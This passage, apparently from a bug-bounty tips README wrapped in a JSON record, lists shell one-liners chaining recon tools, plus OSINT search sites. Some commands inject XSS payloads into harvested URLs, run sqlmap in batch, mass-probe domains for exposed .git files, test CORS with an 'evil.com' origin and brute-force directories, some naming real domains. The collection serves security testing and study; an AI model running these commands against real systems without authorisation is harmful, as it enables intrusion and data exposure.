application/json\" -t 150 -H \"X-Forwarded-For:127.0.0.1\"'\n```\n\n###  HTTPX using new mode location and injection XSS using qsreplace.\n\n- [Explained command]\n\n```bash\nhttpx -l master.txt -silent -no-color -threads 300 -location 301,302 | awk '{print $2}' | grep -Eo '(http|https)://[^/\"].*' | tr -d '[]' | anew  | xargs -I@ sh -c 'gospider -d 0 -s @' | tr ' ' '\\n' | grep -Eo '(http|https)://[^/\"].*' | grep \"=\" | qsreplace \"\u003csvg onload=alert(1)\u003e\" \"'\n```\n\n###  Grap internal juicy paths and do requests to them.\n\n- [Explained command]\n\n```bash\nexport domain=\"https://target\";gospider -s $domain -d 3 -c 300 | awk '/linkfinder/{print $NF}' | grep -v \"http\" | grep -v \"http\" | unfurl paths | anew | xargs -I@ -P50 sh -c 'echo $domain@ | httpx -silent -content-length'\n```\n\n###  Download to list bounty targets We inject using the sed .git/HEAD command at the end of each url.\n\n- [Explained command]\n\n```bash\nwget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv | cat domains.txt | sed 's#$#/.git/HEAD#g' | httpx -silent -content-length -status-code 301,302 -timeout 3 -retries 0 -ports 80,8080,443 -threads 500 -title | anew\n```\n\n###  Using to findomain to SQLINJECTION.\n\n- [Explained command]\n\n```bash\nfindomain -t testphp.vulnweb.com -q | httpx -silent | anew | waybackurls | gf sqli \u003e\u003e sqli ; sqlmap -m sqli --batch --random-agent --level 1\n```\n\n###  Jaeles scan to bugbounty targets.\n\n- [Explained command]\n\n```bash\nwget https://raw.githubusercontent.com/arkadiyt/bounty-targets-data/master/data/domains.txt -nv ; cat domains.txt | anew | httpx -silent -threads 500 | xargs -I@ jaeles scan -s /jaeles-signatures/ -u @\n```\n\n###  JLDC domain search subdomain, using rush and jaeles.\n\n- [Explained command]\n\n```bash\ncurl -s \"https://jldc.me/anubis/subdomains/sony.com\" | grep -Po \"((http|https):\\/\\/)?(([\\w.-]*)\\.([\\w]*)\\.([A-z]))\\w+\" | httpx -silent -threads 300 | anew | rush -j 10 'jaeles scan -s /jaeles-signatures/ -u {}'\n```\n\n###  Chaos to search subdomains check cloudflareip scan port.\n\n- [Explained command]\n\n```bash\nchaos -silent -d paypal.com | filter-resolved | cf-check | anew | naabu -rate 60000 -silent -verify | httpx -title -silent\n```\n###  Search JS to domains file.\n\n- [Explained command]\n\n```bash\ncat FILE TO TARGET | httpx -silent | subjs | anew\n```\n\n###  Search JS using assetfinder, rush and hakrawler.\n\n- [Explained command]\n\n```bash\nassetfinder -subs-only paypal.com -silent | httpx -timeout 3 -threads 300 --follow-redirects -silent | rush 'hakrawler -plain -linkfinder -depth 5 -url {}' | grep \"paypal\"\n```\n\n###  Search to CORS using assetfinder and rush\n\n- [Explained command]\n\n```bash\nassetfinder fitbit.com | httpx -threads 300 -follow-redirects -silent | rush -j200 'curl -m5 -s -I -H \"Origin:evil.com\" {} |  [[ $(grep -c \"evil.com\") -gt 0 ]] \u0026\u0026 printf \"\\n\\033[0;32m[VUL TO CORS] - {}\\e[m\"'\n```\n\n###  Search to js using hakrawler and rush \u0026 unew\n\n- [Explained command]\n\n```bash\ncat hostsGospider | rush -j 100 'hakrawler -js -plain -usewayback -depth 6 -scope subs -url {} | unew hakrawlerHttpx'\n```\n\n###  XARGS to dirsearch brute force.\n\n- [Explained command]\n\n```bash\ncat hosts | xargs -I@ sh -c 'python3 dirsearch.py -r -b -w path -u @ -i 200, 403, 401, 302 -e php,html,json,aspx,sql,asp,js' \n```\n\n###  Assetfinder to run massdns.\n\n- [Explained command]\n\n```bash\nassetfinder DOMAIN --subs-only | anew | massdns -r lists/resolvers.txt -t A -o S -w result.txt ; cat result.txt | sed 's/A.*//; s/CN.*// ; s/\\..$//' | httpx -silent\n```\n\n###  Extract path to js\n\n- [Explained command]\n\n```bash\ncat file.js | grep -aoP \"(?\u003c=(\\\"|\\'|\\`))\\/[a-zA-Z0-9_?\u0026=\\/\\-\\#\\.]*(?=(\\\"|\\'|\\`))\" | sort -u \n```\n\n###  Find subdomains and Secrets with jsubfinder\n\n- [Explained command]\n\n```bash\ncat subdomsains.txt | httpx --silent | jsubfinder search -s\n```\n\n###  Search domains to Range-IPS.\n\n- [Explained command]\n\n```bash\ncat dod1 | awk '{print $1}' | xargs -I@ sh -c 'prips @ | hakrevdns -r 1.1.1.1' | awk '{print $2}' | sed -r 's/.$//g' | httpx -silent -timeout 25 | anew \n```\n\n###  Search new's domains using dnsgen.\n\n- [Explained command]\n\n```bash\nxargs -a army1 -I@ sh -c 'echo @' | dnsgen - | httpx -silent -threads 10000 | anew newdomain\n```\n\n###  List ips, domain extract, using amass + wordlist\n\n- [Explained command]\n\n```bash\namass enum -src -ip -active -brute -d navy.mil -o domain ; cat domain | cut -d']' -f 2 | awk '{print $1}' | sort -u \u003e hosts-amass.txt ; cat domain | cut -d']' -f2 | awk '{print $2}' | tr ',' '\\n' | sort -u \u003e ips-amass.txt ; curl -s \"https://crt.sh/?q=%.navy.mil\u0026output=json\" | jq '.[].name_value' | sed 's/\\\"//g' | sed 's/\\*\\.//g' | sort -u \u003e hosts-crtsh.txt ; sed 's/$/.navy.mil/' dns-Jhaddix.txt_cleaned \u003e hosts-wordlist.txt ; cat hosts-amass.txt hosts-crtsh.txt hosts-wordlist.txt | sort -u \u003e hosts-all.txt\n```\n###  Search domains using amass and search vul to nuclei.\n\n- [Explained command]\n\n```bash\namass enum -passive -norecursive -d disa.mil -o domain ; httpx -l domain -silent -threads 10 | nuclei -t PATH -o result -timeout 30 \n```\n\n###  Verify to cert using openssl.\n\n- [Explained command]\n\n```bash\nsed -ne 's/^\\( *\\)Subject:/\\1/p;/X509v3 Subject Alternative Name/{\n    N;s/^.*\\n//;:a;s/^\\( *\\)\\(.*\\), /\\1\\2\\n\\1/;ta;p;q; }' \u003c \u003c(\n    openssl x509 -noout -text -in \u003c(\n        openssl s_client -ign_eof 2\u003e/dev/null \u003c\u003c\u003c$'HEAD / HTTP/1.0\\r\\n\\r' \\\n            -connect hackerone.com:443 ) )\n```\n\n\n###  Search domains using openssl to cert.\n\n- [Explained command]\n\n```bash\nxargs -a recursivedomain -P50 -I@ sh -c 'openssl s_client -connect @:443 2\u003e\u00261 '| sed -E -e 's/[[:blank:]]+/\\n/g' | httpx -silent -threads 1000 | anew \n```\n\n\n###  Search domains over IP/ASN using Hurricane Electric.\n\n- [Explained command]\n\n```bash\nnslookup hackerone.com | awk '/Address: / {print $2}' | hednsextractor -silent -only-domains | httpx -silent -title -tech-detect -status-code \n```\n\n###  Search domains using Hudson Rock's cybercrime intelligence data\n\n- [Explained command]\n\n```bash\nhttps://cavalier.hudsonrock.com/api/json/v2/osint-tools/search-by-domain?domain=tesla.com \n```\n\n###  Mass hunting exposed git from a ASN/IP with hednsextractor.\n\n- [Explained command]\n\n```bash\nhednsextractor -target \"your target\" -silent | httpx -path /.git/config -status-code -ms 200 -silent\n```\n\n\n### Search to Hackers.\n\n- [Censys](https://censys.io)\n- [Spyce](https://spyce.com)\n- [Shodan](https://shodan.io)\n- [Viz Grey](https://viz.greynoise.io)\n- [Zoomeye](https://zoomeye.org)\n- [Onyphe](https://onyphe.io)\n- [Wigle](https://wigle.net)\n- [Intelx](https://intelx.io)\n- [Fofa](https://en.fofa.info)\n- [CriminalIP](https://www.criminalip.io)\n- [Netlas](https://netlas.io)\n- [Hunter](https://hunter.io)\n- [Zorexeye](https://zorexeye.com)\n- [Pulsedive](https://pulsedive.com)\n- [Netograph](https://netograph.io)\n- [Vigilante](https://vigilante.pw)\n- [Pipl](https://pipl.com)\n- [Abuse](https://abuse.ch)\n- [Cert-sh](https://cert.sh)\n- [Maltiverse](https://maltiverse.com/search)\n- [Insecam](https://insecam.org)\n- [Anubis](https://jldc.me/anubis/subdomains/att.com)\n- [Dns Dumpster](https://dnsdumpster.com)\n- [PhoneBook](https://phonebook.cz)\n- [Inquest](https://labs.inquest.net)\n- [Scylla](https://scylla.sh)\n- [Predicta Search](https://www.predictasearch.com)\n\n\n# Project\n\n[![made-with-Go](https://img.shields.io/badge/Made%20with-Go-1f425f.svg)](http://golang.org)\n[![made-with-bash](https://img.shields.io/badge/Made%20with-Bash-1f425f.svg)](https://www.gnu.org/software/bash/)\n[![Open Source? Yes!](https://badgen.net/badge/Open%20Source%20%3F/Yes%21/blue?icon=github)](https://github.com/Naereen/badges/)\n[![Telegram](https://patrolavia.github.io/telegram-badge/chat.png)](https://t.me/KingOfTipsBugBounty)\n\n\n\n\u003ca href=\"https://www.buymeacoffee.com/OFJAAAH\" target=\"_blank\"\u003e\u003cimg src=\"https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png\" alt=\"Buy Me A Coffee\" style=\"height: 20px !important;width: 50px !important;box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;-webkit-box-shadow: 0px 3px 2px 0px rgba(190, 190, 190, 0.5) !important;\" \u003e\u003c/a\u003e\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FKingOfBugbounty%2FKingOfBugBountyTips","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FKingOfBugbounty%2FKingOfBugBountyTips","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FKingOfBugbounty%2FKingOfBugBountyTips/lists"}